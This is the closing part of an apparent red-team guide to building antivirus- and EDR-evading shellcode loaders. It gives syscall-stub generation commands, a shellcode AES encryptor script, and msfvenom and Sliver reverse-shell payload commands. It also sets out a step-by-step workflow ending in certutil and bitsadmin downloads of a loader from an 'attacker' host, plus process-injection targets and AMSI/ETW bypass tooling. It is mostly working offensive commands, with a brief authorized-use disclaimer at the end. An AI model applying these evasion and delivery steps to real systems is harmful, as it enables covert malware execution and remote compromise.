20.3 Tools for Testing Your Loader Against EDR
# ─── Test loader against Defender (free, always available) ───
# Run loader on a Windows 11 system with Defender enabled
# Check Windows Security → Virus & threat protection history
# ─── Test against CrowdStrike / SentinelOne in a lab ───
# Use trial licenses if available, or test on engagement infra
# ─── Offline static analysis ───
# Upload to antiscan.me (no share with AV vendors):
curl -F "file=@loader.exe" https://antiscan.me/upload
# ─── Triage analysis (dynamic) ───
# any.run — online sandbox with real-time API monitoring:
# https://app.any.run/
# ─── Local AMSI testing ───
$test = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi("AmsiScanBufferBypass")
$amsi = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE([psobject].Assembly.GetModules()[0])
# Or just: Test-Path 'EICAR' ← AMSI will intercept if active
# ─── CheckPlease — sandbox detection tests ───
# https://github.com/nicholasmckinney/CheckPlease
# Run individual evasion checks to verify what works
git clone https://github.com/nicholasmckinney/CheckPlease
# ─── pe-sieve — detect injection in running processes ───
# https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid <PID> /iat 1 /shellc 1 /modules 1
# Shows injected modules, shellcode regions, hooks
21. Tool Arsenal — Everything You Need
21.1 Syscall Generation Tools
# ─── SysWhispers2 ───
# GitHub: https://github.com/jthuraisamy/SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2
pip3 install -r SysWhispers2/requirements.txt
# Basic usage:
python3 SysWhispers2/syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output syscalls
# ─── SysWhispers3 ───
# GitHub: https://github.com/klezVirus/SysWhispers3
git clone https://github.com/klezVirus/SysWhispers3
pip3 install -r SysWhispers3/requirements.txt
# With MinGW output for Linux cross-compile:
python3 SysWhispers3/syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output syscalls3 --arch x64 --compiler mingw
# With NASM output:
python3 SysWhispers3/syswhispers.py \
--functions NtAllocateVirtualMemory,NtCreateThreadEx \
--output sc_nasm --arch x64 --compiler nasm
# With egg-hunter obfuscation:
python3 SysWhispers3/syswhispers.py \
--functions NtAllocateVirtualMemory,NtCreateThreadEx \
--output sc_egg --recovery EGG_HUNTER
21.2 Syscall Number Reference Tools
# ─── j00ru's syscall table ───
# Web: https://j00ru.vexillium.org/syscalls/nt/64/
# Comprehensive table of all NT syscall numbers per Windows version
# ─── Offline: mdsec/ntdll-extractor ───
# Extract current syscall numbers from live ntdll.dll
git clone https://github.com/mdsec-research/ntdll-extractor
python3 ntdll-extractor/ntdll_extractor.py
# ─── ntdll-extractor (PowerShell) ───
# Quick one-liner to dump all Nt* syscall numbers:
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE([psobject].Assembly.GetModules()[0])
# OR full version — see Section 6.4 for complete PowerShell script
# ─── WinAPI Search ───
# https://www.geoffchappell.com/studies/windows/win32/ntdll/api/
# Documents ntdll exports and their calling conventions
21.3 Hook Detection Tools
# ─── pe-sieve (detects hooks, injections) ───
# https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid <target_pid> /iat 1 /shellc 1
# ─── UnhookingPOC ───
# https://github.com/TheD1rkMtr/UnhookingPOC
# Demonstrates various unhooking techniques
# ─── TamperCheck ───
# https://github.com/d35ha/TamperCheck
# Checks ntdll functions for hooks
# ─── Frida (dynamic instrumentation — see who calls hooked funcs) ───
pip install frida-tools
frida -p <PID> -l hook_monitor.js
# hook_monitor.js:
# Interceptor.attach(Module.getExportByName("ntdll.dll", "NtCreateThreadEx"), {
# onEnter: function(args) { console.log("NtCreateThreadEx called!"); }
# });
21.4 Loader Generation Tools (That Use Syscalls Internally)
# ─── ScareCrow ───
# https://github.com/optiv/ScareCrow
# Uses KnownDLLs unhooking + indirect syscalls + EDR bypass
git clone https://github.com/optiv/ScareCrow
go build ScareCrow.go
# Process injection with KnownDLLs unhooking:
./ScareCrow -I payload.bin -Loader binary -injection explorer.exe \
-domain microsoft.com -nosign -Evasion KnownDLLs \
-Exec RtlCopy -encryptionmode AES -obfu
# ─── Freeze ───
# https://github.com/optiv/Freeze
# Built-in indirect syscalls + AMSI/ETW
git clone https://github.com/optiv/Freeze
go build .
./Freeze -I payload.bin -AMSI -ETW -process notepad.exe -O loader.exe
# ─── BruteRatel C4 (commercial — uses indirect syscalls natively) ───
# From Brute Ratel, generate shellcode → inject via custom loader
# ─── Havoc C2 ───
# Demon agent uses indirect syscalls + AMSI/ETW bypass by default
# https://github.com/HavocFramework/Havoc
21.5 Helper Scripts
# PY — Shellcode encryptor (AES-256-CBC)
# encrypt.py — run on attacker machine before building loader
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os, sys
if len(sys.argv) < 2:
print("Usage: python3 encrypt.py shellcode.bin")
sys.exit(1)
shellcode = open(sys.argv[1], 'rb').read()
key = os.urandom(32)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, 16))
# Save encrypted shellcode
open(sys.argv[1] + '.enc', 'wb').write(enc)
# Print as C arrays to paste into loader
print(f"// AES Key ({len(key)} bytes):")
print("unsigned char aes_key[] = {" + ','.join(f'0x{b:02X}' for b in key) + "};")
print(f"\n// AES IV ({len(iv)} bytes):")
print("unsigned char aes_iv[] = {" + ','.join(f'0x{b:02X}' for b in iv) + "};")
print(f"\n// Encrypted shellcode ({len(enc)} bytes):")
print("unsigned char enc_sc[] = {" + ','.join(f'0x{b:02X}' for b in enc) + "};")
# Usage:
# 1. Generate shellcode
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.100 LPORT=443 -f raw -o shell.bin
# 2. Encrypt
python3 encrypt.py shell.bin
# Outputs: shell.bin.enc + C arrays to paste into loader
# 3. Build loader with SysWhispers2 stubs
python3 SysWhispers2/syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output syscalls
x86_64-w64-mingw32-gcc complete_loader.c syscalls.c syscalls_nasm.o \
-o loader.exe -mwindows -lbcrypt
22. Full Workflow: From Shellcode to Execution
22.1 Standard Engagement Workflow
┌─────────────────────────────────────────────────────────────────┐
│ FULL SYSCALL EVASION WORKFLOW │
└─────────────────────────────────────────────────────────────────┘
STEP 1: Generate C2 Shellcode
──────────────────────────────
# From Havoc C2 GUI: Payload → Demon → Format: Shellcode → x64 → Save → demon.bin
# From Sliver:
sliver> generate --mtls --lhost 10.10.10.100 --lport 443 --format shellcode \
--os windows --arch amd64 --save demon.bin
# From msfvenom:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.100 LPORT=443 \
-f raw -o demon.bin
STEP 2: (Optional) Convert PE to Shellcode
────────────────────────────────────────────
# If you need to inject a .NET tool or EXE:
donut -f Rubeus.exe -p "kerberoast" -a 2 -b 1 -o rubeus_sc.bin
# -b 1 = Donut patches AMSI+WLDP before running the .NET runtime
STEP 3: Encrypt Shellcode
──────────────────────────
python3 encrypt.py demon.bin
# Outputs: demon.bin.enc + C arrays (aes_key, aes_iv, enc_sc)
STEP 4: Generate Syscall Stubs
────────────────────────────────
python3 SysWhispers3/syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,\
NtCreateThreadEx,NtOpenProcess,NtWaitForSingleObject \
--output syscalls --arch x64 --compiler mingw
STEP 5: Write / Configure Loader
──────────────────────────────────
# Paste the aes_key, aes_iv, enc_sc arrays into complete_loader.c
# Configure target process (if doing remote injection)
# Add sandbox evasion if needed
# Select: direct syscalls or indirect syscalls
STEP 6: Build
──────────────
x86_64-w64-mingw32-as -o syscalls.o syscalls.asm
x86_64-w64-mingw32-gcc -c syscalls.c -o syscalls_c.o
x86_64-w64-mingw32-gcc complete_loader.c syscalls.o syscalls_c.o \
-o loader.exe -mwindows -lbcrypt -Wall -s
STEP 7: (Optional) Wrap with EDR-Bypassing Tool
─────────────────────────────────────────────────
# For code signing + process injection + sandbox evasion:
./ScareCrow -I demon.bin -Loader binary -domain microsoft.com -nosign \
-Evasion KnownDLLs -Exec RtlCopy -encryptionmode AES -obfu -O final_loader.exe
# OR Freeze:
./Freeze -I demon.bin -AMSI -ETW -process explorer.exe -O final_loader.exe
STEP 8: Test
─────────────
# Test in lab VM with same EDR as target (or closest approximation)
# Check for detection before deploying
STEP 9: Deliver and Execute
────────────────────────────
# Options:
# a) Drop and run: copy loader.exe to target, execute
# b) Execute-assembly (if you have a foothold):
# beacon> execute-assembly loader.exe
# c) Living off the land delivery:
# certutil -urlcache -split -f http://attacker/loader.exe loader.exe && loader.exe
# d) BITS delivery (ScareCrow can generate this):
# bitsadmin /transfer MyJob /download /priority NORMAL http://attacker/loader.exe %TEMP%\loader.exe
# bitsadmin /complete MyJob
# %TEMP%\loader.exe
STEP 10: Receive Callback
──────────────────────────
# Monitor your C2 listener for incoming connection
# Beacon checks in → you have a shell
22.2 Remote Process Injection Workflow
# When you need shellcode to run in a different process:
# Determine target PID:
# beacon> ps (if you already have a beacon)
# OR: Get-Process explorer | Select-Object Id
# Modify loader to inject into remote process:
# Use NtOpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid)
# then NtAllocateVirtualMemory with hProc = openedHandle (not -1)
# NtCreateThreadEx with hProc = openedHandle
# Good target processes for injection:
# svchost.exe ← System process, always running, high trust
# explorer.exe ← User session, always running, network OK
# RuntimeBroker.exe ← Less monitored than svchost
# SearchIndexer.exe ← Background process, rarely suspicious
23. Cheat Sheet
Syscall API Reference
Function Sysnum* Purpose
─────────────────────────────────────────────────────────────────
NtAllocateVirtualMemory 0x0018 Allocate memory (VirtualAlloc equivalent)
NtWriteVirtualMemory 0x003A Write to memory (WriteProcessMemory equivalent)
NtReadVirtualMemory 0x003F Read from memory (ReadProcessMemory equivalent)
NtProtectVirtualMemory 0x0050 Change memory permissions (VirtualProtect equivalent)
NtCreateThreadEx 0x00C2 Create thread (CreateThread/CreateRemoteThread equivalent)
NtOpenProcess 0x0026 Open process handle (OpenProcess equivalent)
NtOpenThread 0x0129 Open thread handle (OpenThread equivalent)
NtSuspendThread 0x00BD Suspend thread
NtResumeThread 0x0052 Resume thread
NtGetContextThread 0x00F5 Get thread context (registers)
NtSetContextThread 0x00DA Set thread context (hijack RIP)
NtQueueApcThread 0x0069 Queue APC (QueueUserAPC equivalent)
NtWaitForSingleObject 0x0004 Wait for object (WaitForSingleObject equivalent)
NtClose 0x000F Close handle (CloseHandle equivalent)
NtMapViewOfSection 0x0028 Map section into memory
NtUnmapViewOfSection 0x002A Unmap section
NtCreateSection 0x004A Create section object
NtQueryVirtualMemory 0x0023 Query memory info (VirtualQuery equivalent)
NtFreeVirtualMemory 0x001E Free memory (VirtualFree equivalent)
* Syscall numbers are for Windows 10 21H2 x64 — resolve dynamically for production use
SysWhispers Quick Reference
# Minimum for self-injection:
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx --output syscalls
# For remote process injection (add):
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,NtOpenProcess,NtWaitForSingleObject --output syscalls
# For thread hijacking (add):
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtOpenProcess,NtOpenThread,NtSuspendThread,NtGetContextThread,NtSetContextThread,NtResumeThread --output syscalls
# For APC injection (add):
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtOpenProcess,NtOpenThread,NtQueueApcThread --output syscalls
# For section-based injection (add):
python3 syswhispers.py --functions NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtCreateThreadEx,NtOpenProcess --output syscalls
# SW3 MinGW (cross-compile from Linux):
python3 SysWhispers3/syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx --output sc3 --arch x64 --compiler mingw
# SW3 Egg Hunter (obfuscated stubs):
python3 SysWhispers3/syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx --output sc_egg --recovery EGG_HUNTER
Technique Selection Guide
SITUATION → TECHNIQUE
Basic evasion needed (EDR is lightweight):
→ SysWhispers2 direct syscalls + AES decrypt + RW→RX
EDR stack-traces syscall callers:
→ Indirect syscalls (BuildStub() to jump into ntdll's 'syscall')
EDR scans for syscall stub patterns in memory:
→ SysWhispers3 EGG_HUNTER mode
Functions are hooked (E9 JMP at start):
→ Halo's Gate (neighbor scanning) OR Tartarus' Gate (fresh ntdll from disk)
Need to avoid anonymous memory pages:
→ Module stomping (shellcode in DLL .text section)
Need different EtwTi event signature:
→ NtCreateSection + NtMapViewOfSection instead of NtAllocateVirtualMemory
Need .NET tool injection:
→ Donut (PE → shellcode) then any syscall loader
Need maximum stealth (all layers):
→ Indirect syscalls + Module stomping + AMSI/ETW patch + AES + ScareCrow wrap
Testing if hooks are present:
→ Hook scanner (Section 4.1) → run before payload
Deployment in .NET context:
→ D/Invoke (GetExportAddress + GetDelegateFromPointer)
Memory Protection Flags (Quick Reference)
// Allocation flags
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
MEM_COMMIT | MEM_RESERVE = 0x3000 // ← Use this for standard allocation
// Protection flags
PAGE_NOACCESS = 0x001
PAGE_READONLY = 0x002
PAGE_READWRITE = 0x004 // ← Allocate with this (RW only)
PAGE_WRITECOPY = 0x008
PAGE_EXECUTE = 0x010
PAGE_EXECUTE_READ = 0x020 // ← Then change to this (RX) before executing
PAGE_EXECUTE_READWRITE = 0x040 // ← AVOID (RWX — massive EDR red flag)
PAGE_EXECUTE_WRITECOPY = 0x080
Key GitHub Repositories
| Tool | URL | What It Does |
|---|---|---|
| SysWhispers2 | github.com/jthuraisamy/SysWhispers2 | Direct syscall stub generator |
| SysWhispers3 | github.com/klezVirus/SysWhispers3 | Advanced syscall generator (NASM, egg-hunter, indirect) |
| Hell's Gate | github.com/am0nsec/HellsGate | Dynamic syscall number resolution |
| FreshyCalls | github.com/crummie5/FreshyCalls | EAT-sort syscall number resolution |
| RecycledGate | github.com/rad9800/RecycledGate | Sorted EAT + hook recovery |
| DInvoke | github.com/TheWover/DInvoke | .NET dynamic invocation (C# equivalent) |
| ScareCrow | github.com/optiv/ScareCrow | EDR-bypassing loader generator |
| Freeze | github.com/optiv/Freeze | AMSI/ETW bypass loader generator |
| pe-sieve | github.com/hasherezade/pe-sieve | Detect hooks and injections |
| Donut | github.com/TheWover/donut | PE → position-independent shellcode |
| Tartarus' Gate | github.com/trickster0/TartarusGate | EAT-based hook recovery |
Note: All techniques described in this document are for authorized red team operations, penetration testing, and security research only. Unauthorized use against systems without explicit permission is illegal.